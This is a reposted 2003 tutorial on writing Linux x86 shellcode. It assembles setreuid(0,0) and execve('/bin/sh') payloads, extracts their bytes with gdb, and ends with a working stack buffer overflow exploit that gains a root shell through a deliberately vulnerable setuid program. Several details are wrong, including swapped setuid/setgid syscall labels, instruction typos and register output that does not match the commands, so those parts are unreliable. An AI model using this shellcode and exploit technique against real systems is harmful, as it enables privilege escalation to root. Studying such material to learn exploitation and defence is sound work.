快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

Introduction to Linux x86 shellcode

提交文章： 墨斗鱼
提交日期： 2003-09-28
文章属性： 转载
文档类别： 编程技术
浏览次数： 今3次/总2198次

Author: posidron
Date: 03/08/23
Contact: posidron@tripbit.org http://www.tripbit.org

```
=============================================================================
# Environment                                 #
-----------------------------------------------------------------------------
# System : Linux 2.4.20-8                     #
# Programms: gcc 3.2.2, gdb 5.3post-0.20021129.18rh, strace 4.4 #
=============================================================================
```

-==[0x01]==-

```
=============================================================================
# setuid(0); - set user id #
=============================================================================
# %eax    Name        Source       %ebx    %ecx    %edx    %esx    %edi #
# 23      sys_setgid  kernel/sys.c gid_t    -       -       -       - #
-----------------------------------------------------------------------------
# xor    %ebx, %ebx # argument 1, set ebx register to 0 (user_id) #
# mov    $0x17, %eax # copy syscall(converted to hex) to eax register #
# int    $0x80     # interupt to execute syscall #
=============================================================================


=============================================================================
# setgid(0); - set group id #
=============================================================================
# %eax    Name        Source       %ebx    %ecx    %edx    %esx    %edi #
# 46      sys_setuid  kernel/sys.c uid_t    -       -       -       - #
-----------------------------------------------------------------------------
# xor    %ebx, %ebx # argument 1, set ebx register to 0 (group_id) #
# mov    $0x2E, %eax # copy syscall(converted to hex) to eax register #
# int    $0x80     # interupt to execute syscall #
=============================================================================


=============================================================================
# setreuid(0,0); - set real and effective user id #
```

```
================================================================================
# %eax    Name        Source        %ebx    %ecx    %edx    %esx    %edi #
# 70    sys_setreuid    kernel/sys.c    uid_t    uid_t    -    -    - #
--------------------------------------------------------------------------------
# xor    %ebx, %ebx # argument 2, set ebx register to 0 (reale_user_id) #
# xor    %ecx, %ecx # argument 1, set ecx register to 0 (effective_user_id) #
# mov    $0x46, %eax # copy syscall(converted to hex) to eax register #
# int     $0x80     # interupt to execute syscall #
================================================================================


================================================================================
# setregid(0,0); - set real and effective group id #
================================================================================
# %eax    Name        Source        %ebx    %ecx    %edx    %esx    %edi #
# 71     sys_setregid     kernel/sys.c     gid_t     gid_t     -     -     - #
--------------------------------------------------------------------------------
# xor    %ebx, %ebx # argument 2, set ebx register to 0 (reale_group_id) #
# xor    %ecx, %ecx # argument 1, set ecx register to 0 (effective_group_id) #
# mov    $0x47, %eax # copy syscall(converted to hex) to eax register #
# int    $0x80     # interupt to execute syscall #
================================================================================


================================================================================
# setresuid(0,0,0); - set real, effective and saved user id #
================================================================================
# %eax    Name        Source        %ebx    %ecx    %edx    %esx    %edi #
# 164     sys_setresuid     kernel/sys.c     uid_t     uid_t     uid_t     -     - #
--------------------------------------------------------------------------------
# xor    %ebx, %ebx # argument 3, set ebx register to 0 (reale_user_id) #
# xor    %ecx, %ecx # argument 2, set ecx register to 0 (effective_user_id) #
# xor    %edx, %edx # argument 1, set edx register to 0 (saved_user_id) #
# mov    $0xA4, %eax # copy syscall(converted to hex) to eax register #
# int    $0x80 # interupt to execute syscall #
================================================================================


================================================================================
# setresgid(0,0,0); - set real, effective and saved group id #
================================================================================
# %eax    Name        Source        %ebx    %ecx    %edx    %esx    %edi #
# 170     sys_setresgid     kernel/sys.c     gid_t     gid_t     gid_t     -     - #
--------------------------------------------------------------------------------
# xor    %ebx, %ebx # argument 3, set ebx register to 0 (reale_group_id) #
# xor    %ecx, %exc # argument 2, set ecx register to 0 (effective_group_id) #
# xor    %edx, %edx # argument 1, set edx register to 0 (saved_group_id) #
# mov    $0xAA, %eax # copy syscall(converted to hex) to eax register #
# int    $0x80 # interupt to execute syscall #
================================================================================


================================================================================
# write() #
================================================================================
# %eax Name     Source     %ebx     %ecx     %edx %esx %edi #
# 4 sys_write fs/read_write.c unsigned int const char *size_t - - #
--------------------------------------------------------------------------------
# xor    %edx, %edx    # set edx register to 0 #
# xor    %ebx, %ebx    # set ebx register to 0 #
# push     %ebx        # push ebx on the stack #
# push     <txt>        # push the text (converted to hex) on the stack #
# mov    %esp, %ecx    # write the address to ecx register #
# mov    $0x<size>, %edx    # move the size of the text+\0 to edx register #
# mov    $0x4, %eax    # move syscall(converted to hex) to eax register #
# int    $0x80        # interupt to execute syscall #
================================================================================


================================================================================
# execve() #
================================================================================
```

```
# %eax Name     Source         %ebx     %ecx %edx %esx %edi #
# 11 sys_execve i386/kernel/process.c struct pt_regs - - - - #
-------------------------------------------------------------------------------
# int execve(const char *filename, char *const argv[], char *const envp[]); #
# #
# xor    %eax, %eax    # set eax register to 0 #
# push    %eax        # push eax on the stack #
# push    $0x68732f2f    # push //sh on the stack #
# push    $0x6e69622f    # push /bin on the stack #
# mov     %esp, %ebx    # wrote the starting address of string to ebx register #
# push    %eax        # terminate the **argv #
# push    %ebx        # create char **argv #
# mov    %esp, %ecx    # write the address to ecx register #
# xor    %edx, %edx    # set edx register to 0 #
# mov $0xb,%eax # move syscall(converted to hex) to eax register #
# int $0x80        # interupt to execute syscall #
================================================================================


================================================================================
# exit(0); #
================================================================================
# %eax    Name        Source        %ebx    %ecx    %edx    %esx    %edi #
# 1    sys_exit    kernel/exit.c    int    -    -    -    - #
-------------------------------------------------------------------------------
# xor    %ebx, %ebx    # argument 1, set ebx register to 0 #
# mov    $0x1, %eax    # copy syscall(converted to hex) to eax register #
# int    $0x80        # interupt to execute syscall #
================================================================================



-==[0x02]==-

================================================================================
# exit_asm.c                          #
================================================================================
main()
{
    __asm__("
        xor %eax, %eax // clear %eax for this syscall
        xor %ebx, %ebx
        mov $0x1, %al // instead of %eax to erease the 0 bytes
        int $0x80
    ");
}
-------------------------------------------------------------------------------
[posidron@localhost posidron]$ gcc exit_asm.c -o exit_asm
[posidron@localhost posidron]$ strace ./exit_asm
execve("./exit_asm", ["./exit_asm"], [/* 32 vars */]) = 0
.
.
.
_exit_group(0)    = ?
[posidron@localhost posidron]$ gdb -q ./exit_asm
(gdb) disas main
Dump of assembler code for function main:
0x80482f4 <main+0>:    push     %ebp
0x80482f5 <main+1>:    mov    %esp,%ebp
0x80482f7 <main+3>:    sup    $0x8, %esp
0x80482fa <main+6>:    and    $0xfffffff0,%esp
0x80482fd <main+9>:    mov    $0x0,%eax
0x8048302 <main+14>:    sub    %eax,%ebx
0x8048304 <main+16>:    xor    %eax,%eax
0x8048306 <main+18>:    xor    %ebx,%ebx
0x8048308 <main+20>:    mov    $0x1, %al
0x804830a <main+22>:    int     $0x80
0x804830c <main+24>:    leave
0x804830d <main+25>:    ret
0x804830e <main+26>:    nop
0x804830f <main+27>:    nop
```

```
End of assembler dump.
(gdb) x/bx main+16
0x8048304 <main+16>:    0x31
(gdb)
0x8048305 <main+17>:    0xc0
(gdb)
0x8048306 <main+18>:    0x31
(gdb)
0x8048307 <main+19>:    0xdb
(gdb)
0x8048308 <main+20>:    0xb0
(gdb)
0x8048309 <main+21>:    0x01
(gdb)
0x804830a <main+22>:    0xcd
(gdb)
0x804830b <main+23>:    0x80
(gdb) quit
================================================================================
```

-==[0x03]==-

```
================================================================================
# setreuid_asm.c                        #
================================================================================
main()
{
   __asm__("
      xor %eax, %eax // clear %eax for this syscall
      xor %ebx, %ebx
      xor %ecx, %ecx
      mov $0x46, %al // instead of %eax to erease the 0 bytes
      int $0x80
   ");
}
--------------------------------------------------------------------------------
[posidron@localhost posidron]$ gcc setreuid_asm.c -o setreuid_asm
[posidron@localhost posidron]$ su
Password:
[root@localhost posidron]# strace ./setreuid_asm
execve("./setreuid_asm", ["./setreuid_asm"], [/* 31 vars */]) = 0
.
.
.
setreuid(0, 0)    = 0
_exit_group(0)    = ?
[root@localhost posidron]# exit
[posidron@localhost posidron]$ gdb -q ./setreuid_asm
(gdb) disas main
Dump of assembler code for function main:
0x80482f4 <main+0>:    push   %ebp
0x80482f5 <main+1>:    mov    %esp,%ebp
0x80482f7 <main+3>:    sup    $0x8, %esp
0x80482fa <main+6>:    and    $0xfffffff0,%esp
0x80482fd <main+9>:    mov    $0x0,%eax
0x8048302 <main+14>:    sub    %eax,%ebx
0x8048304 <main+16>:    xor    %eax,%ebx
0x8048306 <main+18>:    xor    %ebx,%ebx
0x8048308 <main+20>:    xor    %ecx,%ecx
0x804830a <main+22>:    mov    $0x46, %al
0x804830c <main+24>:    int    $0x80
0x804830e <main+26>:    leave
0x804830f <main+27>:    ret
End of assembler dump.
(gdb) x/bx main+16
0x8048304 <main+16>:    0x31
(gdb)
0x8048305 <main+17>:    0xc0
(gdb)
```

```
0x8048306 <main+18>:    0x31
(gdb)
0x8048307 <main+19>:    0xdb
(gdb)
0x8048308 <main+20>:    0x31
(gdb)
0x8048309 <main+21>:    0xc9
(gdb)
0x804830a <main+22>:    0xb0
(gdb)
0x804830b <main+23>:    0x46
(gdb)
0x804830c <main+24>:    0xcd
(gdb)
0x804830d <main+25>:    0x80
(gdb) quit
```

==========

-==[0x04]==-

==========

```
# execv_asm.c                                #
```

==========

```
main()
{
    __asm__("
        xor %eax, %eax // clear %eax for this syscall
        push %eax
        push $0x68732f2f
        push $0x6e69622f
        mov %esp, %ebx
        push %eax
        push %ebx
        mov %esp, %ecx
        mov $0xb,%al // instead of %eax to erease the 0 bytes
        int $0x80
    ");
```

```
[posidron@localhost posidron]$ gcc execv_asm.c -o execv_asm
[posidron@localhost posidron]$ ./execv_asm
sh-2.05b$ exit
exit
[posidron@localhost posidron]$ gdb -q ./execv_asm
(gdb) disas main
Dump of assembler code for function main:
0x80482f4 <main+0>:    push     %ebp
0x80482f5 <main+1>:    mov    %esp,%ebp
0x80482f7 <main+3>:    sup    $0x8, %esp
0x80482fa <main+6>:    and    $0xfffffff0,%esp
0x80482fd <main+9>:    mov    $0x0,%eax
0x8048302 <main+14>:    sub    %eax,%ebx
0x8048304 <main+16>:    xor     %eax, %eax
0x8048306 <main+18>:    push     %eax
0x8048307 <main+19>:    push     $0x68732f2f
0x804830c <main+24>:    push     $0x6e69622f
0x8048311 <main+29>:    mov     %esp, %ebx
0x8048313 <main+31>:    push     %eax
0x8048314 <main+32>:    push     %ebx
0x8048315 <main+33>:    mov     %esp, %ecx
0x8048317 <main+35>:    mov     $0xb,%al
0x8048319 <main+37>:    int     $0x80
0x804831b <main+39>:    leave
0x804831c <main+40>:    ret
0x804831d <main+41>:    nop
0x804831e <main+42>:    nop
0x804831f <main+43>:    nop
End of assembler dump.
(gdb) x/bx main+16
0x8048304 <main+16>:    0x31
```

```
(gdb)
0x8048305 <main+17>:    0xc0
(gdb)
0x8048306 <main+18>:    0x50
(gdb)
0x8048307 <main+19>:    0x68
(gdb)
0x8048308 <main+20>:    0x2f
(gdb)
0x8048309 <main+21>:    0x2f
(gdb)
0x804830a <main+22>:    0x73
(gdb)
0x804830b <main+23>:    0x68
(gdb)
0x804830c <main+24>:    0x68
(gdb)
0x804830d <main+25>:    0x2f
(gdb)
0x804830e <main+26>:    0x62
(gdb)
0x804830f <main+27>:    0x69
(gdb)
0x8048310 <main+28>:    0x6e
(gdb)
0x8048311 <main+29>:    0x89
(gdb)
0x8048312 <main+30>:    0xe3
(gdb)
0x8048313 <main+31>:    0x50
(gdb)
0x8048314 <main+32>:    0x53
(gdb)
0x8048315 <main+33>:    0x89
(gdb)
0x8048316 <main+34>:    0xe1
(gdb)
0x8048317 <main+35>:    0xb0
(gdb)
0x8048318 <main+36>:    0x0b
(gdb)
0x8048319 <main+37>:    0xcd
(gdb)
0x804831a <main+38>:    0x80
(gdb) quit
================================================================================
```

-==[0x05]==-

```
================================================================================
# Summary #
================================================================================
#include <stdio.h>

char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" /* setreuid(0,0); */

        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" /* execv */
        "\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

        "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"; /* exit(0); */


int main(int argc, char **argv)
{
    void(*tsr) (void);
tsr = (void*)shellcode;
    fprintf(stdout, "Size: %d bytes.\n", sizeof(shellcode));
tsr();
```

```
    return 0;
}
-------------------------------------------------------------------------------
[posidron@localhost posidron]$ gcc sh.c -o sh
[posidron@localhost posidron]$ ./sh
sieze: 41 bytes
sh-2.05b# exit
exit
[posidron@localhost posidron]$
================================================================================
```

-==[0x06]==-

```
================================================================================
# Vulnerable program          #
================================================================================
#include <stdio.h>

#define MAX_SIZE 128

int main(int argc, char **argv)
{
    char cmd[MAX_SIZE];

    if(!(argc > 1))
    {fprintf(stdout, "No parameter!\n"); return -1;}

    if(argc >= 1)
    {strcpy(cmd,argv[1]);
     fprintf(stdout, "Input: %s\n", cmd); }

    return 0;
}
-------------------------------------------------------------------------------
[posidron@localhost posidron]$ gcc vuln.c -o vuln
[posidron@localhost posidron]$ su
Password:
[root@localhost posidron]# chown root.root vuln
[root@localhost posidron]# chmod 4775 vuln
[root@localhost posidron]# ls -al vuln
-rwsrwxr-x    1 root    root    11834 17. Aug 23.14 vuln
[root@localhost posidron]$ ./vuln `perl -e 'print "A" x144'`
Segmentation fault (core dumped)
[root@localhost posidron]$ gdb -q -c core.4104
Core was generated by './vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with Signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) i r ebp
eip    0x41414141    0x41414141
(gdb) i r eip
esp    0x41414141    0x41414141
(gdb) quit
[root@localhost posidron]$ exit
exit
[posidron@localhost posidron]$
================================================================================
```

-==[0x07]==-

```
================================================================================
# Exploit                     #
================================================================================
#include <stdio.h>
#include <stdlib.h>
```

```
#define DEFAULT_BUFFER_SIZE     155
#define DEFAULT_OFFSET          0
#define NOP             0x90

unsigned long get_stack_pointer(void);

char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31"
        "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
        "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
        "\x31\xc0\x31\xdb\xb0\x01\xcd\x80";



int main(int argc, char *argv[])
{
   char *buffer, *pointer;
   int buffer_size = DEFAULT_BUFFER_SIZE, offset = DEFAULT_OFFSET, i;
   long address, *address_pointer;

   if(argc > 1) offset = atoi(argv[1]);

   if(!(buffer = malloc(buffer_size)))
   { fprintf(stderr, "can't allocate memory!\n"); exit(0); }

   (char *)address = get_stack_pointer() - offset;

   fprintf(stdout, " stack pointer: 0x%x\n", get_stack_pointer());
   fprintf(stdout, " used offset: 0x%x\n", offset);
   fprintf(stdout, "jumping to address: 0x%x\n", address);

   pointer = buffer;
   address_pointer = (long *)pointer;

   for(i = 0; i < buffer_size; i+= 4)
      (int *)*(address_pointer++) = address;

   for(i = 0; i < buffer_size / 2; i++)
      buffer[i] = NOP;

   pointer = buffer + ((buffer_size / 2) - (strlen(shellcode) /2));

   for(i = 0; i < strlen(shellcode); i++)
      *(pointer++) = shellcode[i];

   buffer[buffer_size - 1] = '\0';

   execl("path", "prog", "command", buffer, NULL);

   return 0;
}

unsigned long get_stack_pointer(void)
{ __asm__("movl %esp, %eax"); }
-------------------------------------------------------------------------------
[posidron@localhost posidron]$ gcc exploit.c -o exploit
[posidron@localhost posidron]$ id
uid=500(posidron) gid=500(posidron) groups=500(posidron)
[posidron@localhost posidron]$ ./exploit 200
   stack pointer: 0xbfffe778
    used offset: 0xc8
jumping to address: 0xbfffe6c0
Input: 1???F1?hn/shh//bi?PS
           $
           1???????????????
sh-2.05b# id
uid=0(root) gid=(posidron) groups=500(posidron)
=============================================================================
```

-==[0x08]==-

==========
Bibliography
==========

The Art of Assembly Language
- http://webster.cs.ucr.edu/Page_AoALinux/HTML/AoATOC.html

Linux System Call Table
- http://world.std.com/~slanning/asm/syscall_list.html

GDB Online Documentation
- http://www.gnu.org/manual/gdb-5.1.1/html_chapter/gdb_toc.html

GCC Online Documentation
- http://gcc.gnu.org/onlinedocs/gcc-3.3.1/gcc/

==========
- EOF -
==========

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net